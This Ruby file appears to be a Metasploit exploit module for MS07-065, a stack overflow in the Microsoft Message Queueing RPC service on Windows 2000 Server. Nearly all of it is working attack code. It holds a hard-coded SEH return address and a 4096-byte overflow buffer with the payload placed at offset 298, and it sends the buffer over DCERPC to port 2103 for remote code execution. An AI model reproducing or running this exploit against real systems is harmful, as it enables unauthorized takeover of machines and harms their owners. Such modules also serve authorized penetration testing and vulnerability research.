143 lines
3.8 KiB
Ruby
143 lines
3.8 KiB
Ruby
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Dcerpc::MS07_065_MSMQ < Msf::Exploit::Remote
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include Exploit::Remote::DCERPC
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include Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Message Queueing Service DNS Name Path Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the RPC interface
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to the Microsoft Message Queueing service. This exploit requires
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the target system to have been configured with a DNS name and
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for that name to be supplied in the 'DNAME' option. This name does
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not need to be served by a valid DNS server, only configured on
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the target machine.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2007-3039'],
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[ 'MSB', 'MS07-065'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[
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'Windows 2000 Server English',
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{
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'Platform' => 'win',
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'Ret' => 0x75022ac4 # ws2help - pop/pop/ret
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},
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],
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],
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'DisclosureDate' => 'Dec 11 2007',
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'DefaultTarget' => 0))
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# Change the default port values to point at MSMQ
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register_options(
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[
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Opt::RPORT(2103),
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OptString.new('DNAME', [ true, "The DNS hostname of the target" ]),
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], self.class)
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end
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def autofilter
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# Common vulnerability scanning tools report port 445/139
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# due to how they test for the vulnerability. Remap this
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# back to 2103 for automated exploitation
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rport = datastore['RPORT'].to_i
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if ( rport == 2103 or rport == 2103 )
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datastore['RPORT'] = 2103
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end
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# The NetBIOS hostname is required to exploit this bug
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if (not datastore['DNAME'])
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# XXX automatically determine the hostname
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return false
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end
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true
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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dname = datastore['DNAME']
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boom = rand_text_alphanumeric(4096)
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off = 298
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seh = generate_seh_payload(target.ret)
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boom[off, seh.length] = seh
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buff = Rex::Text.to_unicode("#{dname}\\")
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buff << boom
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buff << "\x00\x00"
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stubdata =
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NDR.long(1) + # [in] long arg_1,
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NDR.UnicodeConformantVaryingStringPreBuilt(buff) + # [in][string] wchar_t * arg_2,
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NDR.long(0) * 5 # ... fields we can ignore
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print_status('Sending exploit...')
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begin
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response = dcerpc.call(6, stubdata)
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if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
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case dcerpc.last_response.stub_data
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when "\x14\x00\x0e\xc0"
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print_status("Error: The wrong value has been supplied for the DNAME parameter")
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print_status("This value must be the fully-qualified domain name of the target")
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print_status("Many systems have no FQDN configured and cannot be exploited")
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else
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print_status("An unknown response was received from the server:")
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print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
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end
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end
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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print_status("No response from the DCERPC service (this is usually a good thing).")
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end
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handler
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disconnect
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end
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end
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end
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